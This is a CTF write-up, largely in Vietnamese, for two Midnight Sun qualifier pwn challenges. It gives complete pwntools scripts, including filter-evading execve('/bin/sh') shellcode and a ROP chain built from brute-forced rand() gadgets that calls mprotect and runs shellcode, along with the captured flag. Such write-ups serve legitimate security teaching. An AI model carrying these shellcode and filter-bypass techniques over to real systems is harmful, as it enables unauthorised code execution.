# (writeup) midnight-sun-ctf-2023-quals ## SPD A - check file + checksec ![](https://i.imgur.com/8ljYN11.png) - check ida ```c int __cdecl main(int argc, const char **argv, const char **envp) { int i; // [rsp+8h] [rbp-58h] int v5; // [rsp+Ch] [rbp-54h] void *addr; // [rsp+10h] [rbp-50h] BYREF void *buf; // [rsp+18h] [rbp-48h] _BYTE *v8; // [rsp+20h] [rbp-40h] unsigned __int64 v9; // [rsp+28h] [rbp-38h] v9 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); signal(14, (__sighandler_t)done); alarm(0x3Cu); banner(); if ( getrandom(&addr, 8LL, 1LL) == 8 ) { addr = (void *)((unsigned __int64)addr & 0x7FFFFFFFF000LL); buf = mmap(addr, 0x1000uLL, 3, 50, -1, 0LL); if ( buf == (void *)-1LL ) { perror("mmap failed, addr"); return 1; } else { printf("c0de: "); v5 = read(0, buf, 0x1000uLL); if ( v5 >= 0 ) { v8 = buf; for ( i = 0; i < v5; ++i ) { if ( v8[i] == '/' || v8[i] == 'b' && v8[i + 1] == 'i' && v8[i + 2] == 'n' || v8[i] == 's' && v8[i + 1] == 'h' || !v8[i] ) { puts("nope"); return 1; } } if ( mprotect(buf, 0x1000uLL, 5) == -1 ) { perror("mprotect failed"); return 1; } else { return -1; } } else { perror("read failed"); return 1; } } } else { perror("getrandom failed"); return 1; } } ``` - nhìn sơ ida thì ta dự đoán được là payload ta nhập vào biến **buf**, nếu tồn tại byte '/', 'bin', 'sh' là sẽ thông báo "nope" và exit chương trình - mục tiêu mình là skip qua lệnh check các byte đó để tránh trả về "nope", đồng thời mục tiêu mình là ret về -1 (pass dc perror) ![](https://i.imgur.com/JCGa5Yg.png) - ta sẽ viết shellcode nhưng trong shellcode k hề chứa '/bin/sh' - đặt breakpoint quanh hàm ta gửi payload vào ![](https://i.imgur.com/JfP2EEx.png) - thêm 1 cái ở ret sau mprotect và perror (ở cái else) ![](https://i.imgur.com/c0ppk9c.png) - shellcode mà né được '/bin/sh' thì chỉ còn cách mỗi byte của '/bin/sh' ta tăng thêm 1, sau đó trừ đi 1 =)))) - đây là [link web](https://defuse.ca/online-x86-assembler.htm#disassembly) đã hỗ trợ rất nhiều trong lúc viết shellcode - chuỗi '/bin/sh' khá dài nên ta sẽ tách ra làm 2 gồm : #### '/bin' ![](https://i.imgur.com/DQcEzmY.png) - mỗi byte ta tăng lên 1 rồi trừ đi, push lên stack ```asm xor rbx, rbx add rbx, 0x6f6a6330 sub rbx, 0x01010101 push rbx ``` #### '/sh\0' ![](https://i.imgur.com/pH4sooe.png) - tương tự ```asm xor rbx, rbx add rbx, 0x01697430 sub rbx, 0x01010101 add rsp, 4 #tăng stack lên 4 để 0x00000000'/bin' thành 0x'/bin'00000000 add rsp, 8 #tăng stack lên 8 vì sau lệnh push sẽ giảm stack xuống 8 nhằm mục đích đẩy chuỗi '/sh\0' lên stack push rbx ``` - trong shellcode này, ta dùng lệnh \<add> hay \<mov> đều được - thì chuỗi '/bin/sh' sau khi đẩy lên stack thì ta cần đưa chuỗi đó vào $rdi ![](https://i.imgur.com/uYHfaRP.png) > tăng 4 để thêm '/sh\0', tăng 8 để bù trừ cái <push> > thì tất nhiên '/bin/sh' nằm ở $rsp-0x4 - ta có lệnh đưa '/bin/sh' vào $rdi tiện nhất là \<lea>, nhưng ta sẽ đưa '/bin/sh\0' tức là đưa nội dung bên trong $rsp-0x4 ```asm lea rdi, [rsp-0x4] ``` - ta k thể dùng \<mov> được vì ```asm mov rdi, [rsp-0x4] ``` - nó sẽ đưa địa chỉ /bin/sh\0 vào $rdi ![](https://i.imgur.com/CH86TbH.png) - chứ không phải địa chỉ stack trỏ tới '/bin/sh' ![](https://i.imgur.com/0cjzrV4.png) - việc còn lại là set $rsi NULL, $rdx NULL và $rax 0x3b thôi - nhưng ở $rax nếu ta dùng \<mov> thì lại báo "nope", ta sẽ dùng \<add> cho toàn cái shellcode cho thống nhất ![](https://i.imgur.com/NUq3V6p.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./spd_a',checksec=False) p = process(exe.path) #p = remote('spda-1.play.hfsc.tf', 40001) # gdb.attach(p, gdbscript=''' # b*main+317 # b*main+322 # b*main+327 # b*main+727 # c # ''') # input() shellcode = asm( ''' xor rbx, rbx add rbx, 0x6f6a6330 sub rbx, 0x01010101 push rbx xor rbx, rbx add rbx, 0x01697430 sub rbx, 0x01010101 add rsp, 4 add rsp, 8 push rbx lea rdi, [rsp-0x4] xor rsi, rsi xor rdx, rdx xor rax, rax add rax, 0x3b syscall ''', arch='amd64') payload = shellcode p.sendafter(b'c0de: ',payload) p.interactive() ``` >do viết wu khá trễ nên ngta đóng server, chỉ tạo shell trên local dc thôi chứ lúc giải chưa end là làm ra flag đó =))))) ### shellcode khác - của đệ tử ``@bbbaooo#`` ```python shellcode = asm( ''' mov rax , 7016996765293437281 mov rbx , 6987596720162471730 sub rax , rbx push rax mov rdi, rsp xor rsi , rsi xor rdx , rdx xor rax, rax add rax , 0x3b syscall ''', arch = 'amd64' ) ``` - gửi 8 byte 'a' : ``mov rax , 7016996765293437281`` - tính offset cho '/bin/sh\0' : ``mov rbx , 6987596720162471730`` - lấy 8 byte 'a' - offset : ``sub rax , rbx`` - còn lại setup như bth gọi execve # (writeup) midnight-sun-ctf-2024-quals ## roborop - basic file check ![image](https://hackmd.io/_uploads/SyEyUtMWR.png) - check ida ![image](https://hackmd.io/_uploads/r1rULFMWC.png) >**main()** ### analyse - **getrandom()** seed, sau đó **srand(seed)** - **getrandom()** 1 addr, có data được gen từ **rand()** > **mmap()** size 0x10000000 = 0x4000000*4 > **rand()** return int (4 byte), loop 0x4000000 - **getrandom()** 1 buf - in ra seed và addr - **read()** biến buf size 0x400 - return sẽ ret vào buf ---> ROPchain ### brute force - chall đi kèm libc ---> chắc chắn phải tận dụng > import ctypes để load libc - vì PIE động, không biết nên return vào đâu nên dựa vào "nhân phẩm" từ **rand()** để lấy gadget từ trong addr > loop 0x4000000 hơi khoai vả lại cũng mang tính chất nhân phẩm nên sẽ không loop đủ > loop tầm 0xf000 đến 0x600000 sau đó brute - ROP nên tìm `pop_rdi_ret`, `pop_rsi_ret`, `pop_rdx_ret`, `pop_rax_ret` và `syscall_ret` > pop và ret tổng 2 byte > brute 2 trong 4 byte gen từ **rand()** tỉ lệ trúng cao > syscall và ret tổng 3 byte > brute 3 trong 4 khá hên xui may rủi ### ROP + shellcode - nếu thành công, ta sẽ tiến hành ROP - vì không có "/bin/sh\0" nên đổi hướng call **mprotect()** rồi ret2shellcode ### get flag ![image](https://hackmd.io/_uploads/Bk6nqFzbR.png) - script: ```py #!/usr/bin/python3 from pwn import * from ctypes import * context.binary = exe = ELF('./roborop',checksec=False) libc = CDLL('libc.so.6') # p = process(exe.path) p = remote('roborop-1.play.hfsc.tf',1993) p.recvuntil(b'seed: ') seed = int(p.recvline(),16) log.info("seed: " + hex(seed)) p.recvuntil(b'addr: ') addr = int(p.recvline(),16) log.info("addr: " + hex(addr)) pop_rdi = addr pop_rsi = addr pop_rdx = addr pop_rax = addr syscall = addr libc.srand(seed) test = b'' gadget = [b'\x5F\xC3',b'\x5e\xC3',b'\x5a\xC3',b'\x58\xC3',b'\x0F\x05\xc3'] for i in range(0x60000): byte = libc.rand() check = p32(byte) test += check pop_rdi += test.find(gadget[0]) print(hex(pop_rdi)) pop_rsi += test.find(gadget[1]) print(hex(pop_rsi)) pop_rdx += test.find(gadget[2]) print(hex(pop_rdx)) pop_rax += test.find(gadget[3]) print(hex(pop_rax)) syscall += test.find(gadget[4]) print(hex(syscall)) if (syscall == addr-1): exit() # gdb.attach(p,gdbscript=''' # b*0x55555555551b # b*0x555555555582 # c # ''') # input() payload = p64(pop_rdi) + p64(addr) payload += p64(pop_rdx) + p64(7) #prot payload += p64(pop_rsi) + p64(0x1000) #len payload += p64(pop_rax) + p64(0xa) payload += p64(syscall) #mprotect payload += p64(pop_rdi) + p64(0) payload += p64(pop_rdx) + p64(0x1000) #size payload += p64(pop_rsi) + p64(addr) payload += p64(pop_rax) + p64(0) payload += p64(syscall) payload += p64(addr) p.sendafter(b'rops: ',payload) # input() shellcode = asm(''' mov rbx, 29400045130965551 push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''',arch='amd64') p.send(shellcode) p.send('cat flag') p.interactive() #midnight{spR4Y_aNd_pR4Y} ``` >midnight{spR4Y_aNd_pR4Y}